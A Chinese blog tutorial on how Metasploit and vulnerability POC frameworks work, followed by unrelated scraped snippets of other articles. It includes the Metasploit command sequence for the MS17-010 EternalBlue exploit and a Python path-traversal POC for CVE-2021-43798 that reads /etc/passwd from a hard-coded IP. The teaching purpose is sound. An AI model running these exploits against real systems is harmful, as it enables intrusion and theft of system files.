Metasploit框架基础(一)
文章目录
- 前言
- 一、基础认知
- 二、批量POC/EXP的构想
- 三、poc检测框架的简单实现
- 四、xray
- 五、Meatsploit框架
- 参考
前言
Metasploit
- 一款渗透测试框架
- 漏洞利用的集合与构建和定制满足你的需求的基础
- 漏洞利用和验证的工具
这几个说法都是百度或者官方文档中出现的手法,说到底无非就是一个软件,一堆代码。至于称之为框架(framework),就是这堆代码是帮你写好大部分的、通用的代码。封装了许多漏洞利用与验证功能,并提供了许多接口供我们调用,以定制我们想要的功能。用面向对象(OOP)的角度来说就是,写好了一个基类/接口,我们按照结构继承/实现其中的方法即可。
卖课用得最多的(影响很大)的漏洞——MS17-010,这个百度一下就有一大堆用MFS怎么拿shell的
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell
一顿操作,就轻而易举地拿到一个shell。总是很疑惑,use payloads 发生了什么,payloads到底是什么样的,run之后发生了什么?
现在,我们将尝试解答这些问题
一、基础认知
不管怎么花里胡哨,漏洞利用都是通过网络通信的,通过协议栈软件/网络子系统进行信息的交换。信息的交互都是通过各种协议进行,无非就是A主机发一串特定格式的消息(01001010101),B主机接收后解析识别这个格式的01001010101,然后按照协议的规定进行下一步。
以HTTP协议为例,这是一个基于文本的应用协议,以下是一个典型的请求数据包:
GET / HTTP/1.1
Host: baidu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: BIDUPSID=704FDAD384C9E21E8616425F299CEC24; PSTM=1620123768;
Connection: close
HTTP服务器(Web服务器)接收到这个段文本消息后,按照一定格式回复一个HTML文件,浏览器解析渲染,就可以看到百度的页面了。
这些都是通过协议栈提供给我们的编程接口实现的——socket API。其他应用层协议都是通过socket编程实现的,协议间的差异无非就是消息格式、加密方式、执行的操作等。
二、批量POC/EXP的构想
我们来看一个很辣鸡的POC(CVE-2021-43798)
import requestsurl = "http://8.210.89.154:3000/"
header = {
}
module_list = ["alertlist","annolist","barchart",#这里省略很多个插件名
]file_to_read = "/etc/passwd"for plugin in module_list:poc_url = url + "public/plugins/" + plugin + '/../../../../../../../../../../../../..' + file_to_readprint(poc_url)res = requests.get(url=url, headers=header)print(res.status_code)print("*****************************************************")if "root" in res.text:print("漏洞存在")break
这个POC做的事:
- 构造一个含有payload的url(这里就是这个漏洞的漏洞利用方式)
- 发送http数据包(requests模块已经榜我们构造好数据包并发送出去)
- 获取回包并做判断
所有的POC都是这样:
- 构造含有payload的数据包(各种协议)
- 根据可用的条件判断漏洞
那么我们要做就是2点,其他东西几乎都是一样的,那么我们就可写一个软件,用户提供这2点逻辑代码,让软件自动帮我们构造数据包并调用执行,那么,我们就可以实现批量的poc检测。野心再大一点,我们要实现更多功能,那么,一个漏洞扫描器就诞生了。
三、poc检测框架的简单实现
由于我们我们辣鸡的代码水平,我们并不能做很复杂的事情,我们的构想是这样:
- 以poc文件为单位
- 规定每个poc文件中实现
verify()函数 - 遍历poc,调用
verify()函数
项目结构:

main.py如下:
import os
import sys
import importlib
import warnings
warnings.filterwarnings("ignore") #去除warnings
def banner():msg = r'''--\ \ ||----------- ||----------- -----||----\ \ // -----||----
---------------- ||---||----||
---------------- ||---||----||---//--- //|| \\--//--- // || \\// ||'''print(msg)
banner()
sys.path.append("pocs") #临时添加搜索模块时的路径
path = "./pocs"
list = []
datanames = os.listdir(path) #获取path目录下所有的POC文件名,存在列表datanames
datanames.remove('__init__.py') # 去除非poc文件
datanames.remove('__pycache__') # 去除非poc文件
for i in datanames: a = i[:-3] #去除文件后缀 .pyi = importlib.import_module(a) #将字符串作为模块导入list.append(i) #模块名存入list[]
for i in list:res = i.verify(sys[1]) #传入url,调用每个模块的verify()方法print(res)
poc文件如下:
import requests
def verify(arg, **kwargs):r = requests.get(arg)if r.status_code == 200:return {"url": arg, "text": r.text}
命令运行:

这代码辣鸡得不能在辣鸡了,但也勉强实现了我们得需求,批量poc对一个url进行检测。经过了辣鸡人生体验,我们来看看现代化的、时尚的、智能的poc检测框架
四、xray
xray的检测的伪代码:
for rule in rules:newReq = mutate_request_by_rule(req, rule)response = send(newReq)if not check_response(response, rule):break
简单来讲就是将请求根据 rule 中的规则对请求变形,然后获取变形后的响应,再检查响应是否匹配 expression 部分的表达式。如果匹配,就进行下一个 rule,如果不匹配则退出执行。 如果成功执行完了最后一个 rule,那么代表目标有漏洞,将 detail 中的信息附加到漏洞输出后就完成了单个 poc 的整个流程。
不管怎么变,核心思想都是:
- 请求数据包变形
- 根据回包逻辑判断
五、Meatsploit框架
讲了这么多,到底讲了什么呢?我们再来看一下MS7-010的利用过程:
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell
无非就是
- 关键字搜索
- 加载人家写好的
exp(有些还要设置payload) - 设置
exp需要的参数 - run --> 发送该数据包进行攻击
如果你感兴趣,可以自己去看一下这个exploit/windows/smb/ms17_010_eternalblueruby文件
本质还是需要懂得漏洞本身,永恒之蓝这种系统漏洞又涉及SMB协议、二进制、缓冲区溢出等知识,所以说Metasploit是一个框架,允许你基于这个框架写poc、exp,并进行攻击利用。你完全可以写一个独立的工具,不过,正如我们实现的辣鸡poc,一键扫描还是香的。而且之前我们说过,很多代码都是重复的,框架可以简化我们写poc的过程,这也是yaml格式的poc的由来原因
参考
https://paper.seebug.org/913/
https://pocsuite.org/guide/what-is-pocsuite3.html
https://www.offensive-security.com/metasploit-unleashed/exploit-format/
《Web渗透测试 基于Metasploit5.0》
https://docs.xray.cool/#/tutorial/introduce
相关文章:
Metasploit框架基础(一)
文章目录前言一、基础认知二、批量POC/EXP的构想三、poc检测框架的简单实现四、xray五、Meatsploit框架参考前言 Metasploit 一款渗透测试框架漏洞利用的集合与构建和定制满足你的需求的基础漏洞利用和验证的工具 这几个说法都是百度或者官方文档中出现的手法,说…...
pytorch零基础实现语义分割项目(二)——标签转换与数据加载
数据转换与加载项目列表前言标签转换RGB标签到类别标签映射RGB标签转换成类别标签数据数据加载随机裁剪数据加载项目列表 语义分割项目(一)——数据概况及预处理 语义分割项目(二)——标签转换与数据加载 语义分割项目&#x…...
python(8.5)--列表习题
目录 一、求输出结果题 二、计算列表元素个数 三、查找是否存在某元素 四、删除某元素 五、如何在列表中插入元素 六、如何从列表中删除重复的元素 七、 如何将列表中的元素按照从小到大的顺序排序 八、从列表中删除重复的元素 九、大到小的顺序排序 一、求输出结…...
rt-thread pwm 多通道
一通道pwm参考 https://blog.csdn.net/yangshengwei230612/article/details/128738351?spm1001.2014.3001.5501 以下主要是多通道与一通道的区别 芯片 stm32f407rgt6 1、配置PWM设备驱动相关宏定义 添加PWM宏定义 #define BSP_USING_PWM8 #define BSP_USING_PWM8_CH1 #d…...
C语言练习 | 初学者经典练习汇总
目录 1、下面代码输出多少,为什么? 2、你要好好学习么? 3、一直写代码, 4、两个数求最大值 5、输入1-5输出工作日,输入6-7输出休息日,其他输入错误 6、写一个输入密码的代码 7、怎么样当输入数字时候…...
华为OD机试 - 自动曝光(Python) | 机试题算法思路 【2023】
最近更新的博客 华为OD机试 - 卡片组成的最大数字(Python) | 机试题算法思路 华为OD机试 - 网上商城优惠活动(一)(Python) | 机试题算法思路 华为OD机试 - 统计匹配的二元组个数(Python) | 机试题算法思路 华为OD机试 - 找到它(Python) | 机试题算法思路 华为OD机试…...
「6」线性代数(期末复习)
🚀🚀🚀大家觉不错的话,就恳求大家点点关注,点点小爱心,指点指点🚀🚀🚀 目录 第五章 相似矩阵及二次型 &2)方阵的特征值与特征向量 &3ÿ…...
1.1 硬件与micropython固件烧录及自编译固件
1.ESP32硬件和固件 淘宝搜ESP32模块,20-50元都有,自带usb口,即插即用. 固件下载地址:MicroPython - Python for microcontrollers 2.烧录方法 为简化入门难度,建议此处先使用带GUI的开发工具THonny,记得不是给你理发的tony老师. 烧录的入口是: 后期通过脚本一次型生成和烧…...
【MySQL进阶】视图 存储过程 触发器
😊😊作者简介😊😊 : 大家好,我是南瓜籽,一个在校大二学生,我将会持续分享Java相关知识。 🎉🎉个人主页🎉🎉 : 南瓜籽的主页…...
[Linux篇] Linux常见命令和权限
文章目录使用XShell登录Linux1.Linux常用基本命令:1.1 ls(列出当前的目录下都有哪些文件和目录)1.2 cd (change directory 切换目录)1.3 pwd(查看当前目录的绝对路径)1.4 touch(创建文件)1.5 ca…...
29岁从事功能测试被辞,面试2个月都找不到工作吗?
最近一个28岁老同学联系我,因为被公司辞退,找我倾诉,于是写下此文。 他是14年二本毕业,在我的印象里人特别懒,不爱学习,专业不好,毕业前因为都没找到合适工作,直接去创业了…...
【C#个人错题笔记1】
观前提醒 记录一些我不会或者少见的内容,不一定适合所有人 字符串拼接 int a3,b8; Console.WriteLine(ab);//11 Console.WriteLine("ab");//ab Console.WriteLine(a""b);//38 Console.WriteLine("ab"ab);//ab38 Console.WriteLine…...
基于lambda的mongodb查询插件
需求背景需要一个像mybatis plus 一样的基于lambda, 且面向对象的查询mongo数据的插件。在网上找了很久,没有发现有类似功能的插件。于是自己手写了一个,借助mongoTemplate屏蔽了底层查询语句的实现细节。在此基础上,实现了查询的统一封装。技…...
基于微信小程序的微信社团小程序
文末联系获取源码 开发语言:Java 框架:ssm JDK版本:JDK1.8 服务器:tomcat7 数据库:mysql 5.7/8.0 数据库工具:Navicat11 开发软件:eclipse/myeclipse/idea Maven包:Maven3.3.9 浏览器…...
GEE学习笔记 七十三:【GEE之Python版教程七】静态展示影像和动态展示影像
我们使用GEE在线编辑可以直接通过在线的网页可以加载展示我们计算的结果,而python版的GEE要展示我们的计算结果可能就比较麻烦。如果有同学看过GEE的python版API中可以找到一个类ee.mapclient,这个类的介绍是它是GEE官方通过Tk写的一个加载展示地图的类。…...
PGLBox全面解决图训练速度、成本、稳定性、复杂算法四大问题!
图神经网络(Graph Neural Network,GNN)是近年来出现的一种利用深度学习直接对图结构数据进行学习的方法,通过在图中的节点和边上制定聚合的策略,GNN能够学习到图结构数据中节点以及边内在规律和更加深层次的语义特征。…...
超详细的 pytest 教程(一)使用入门篇
前言 pytest到目前为止还没有翻译的比较好全面的使用文档,很多英文不太好的小伙伴,在学习时看英文文档还是很吃力。本来去年就计划写pytest详细的使用文档的,由于时间关系一直搁置,直到今天才开始写。本文是第一篇,主…...
二叉树理论基础知识点
二叉树的种类 在我们解题过程中二叉树有两种主要的形式:满二叉树和完全二叉树 满二叉树 满二叉树:如果一棵二叉树只有度为0的结点和度为2的结点,并且度为0的结点在同一层上,则这棵二叉树为满二叉树。 如图所示: 这…...
【算法基础】堆⭐⭐⭐
一、堆 1. 堆的概念 堆(heap)是计算机科学中一类特殊的数据结构的统称。堆通常是一个可以被看做一棵树的数组对象。堆总是满足下列性质: (1)堆中某个结点的值总是不大于或不小于其父结点的值; (2)堆总是一棵完全二叉树。 将根结点最大的堆叫做最大堆或大根堆,根结点…...
时序预测 | MATLAB实现CNN-SVM卷积支持向量机时间序列预测
时序预测 | MATLAB实现CNN-SVM卷积支持向量机时间序列预测 目录时序预测 | MATLAB实现CNN-SVM卷积支持向量机时间序列预测预测效果基本介绍研究回顾程序设计参考资料预测效果 基本介绍 CNN-SVM预测模型将深度学习模型作为特征学习器,将SVM 支持向量机 作为训练器进行…...
树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频
使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源: http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...
【WiFi帧结构】
文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成:MAC头部frame bodyFCS,其中MAC是固定格式的,frame body是可变长度。 MAC头部有frame control,duration,address1,address2,addre…...
Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...
Opencv中的addweighted函数
一.addweighted函数作用 addweighted()是OpenCV库中用于图像处理的函数,主要功能是将两个输入图像(尺寸和类型相同)按照指定的权重进行加权叠加(图像融合),并添加一个标量值&#x…...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...
【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力
引言: 在人工智能快速发展的浪潮中,快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型(LLM)。该模型代表着该领域的重大突破,通过独特方式融合思考与非思考…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...
零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...
Redis数据倾斜问题解决
Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中,部分节点存储的数据量或访问量远高于其他节点,导致这些节点负载过高,影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...
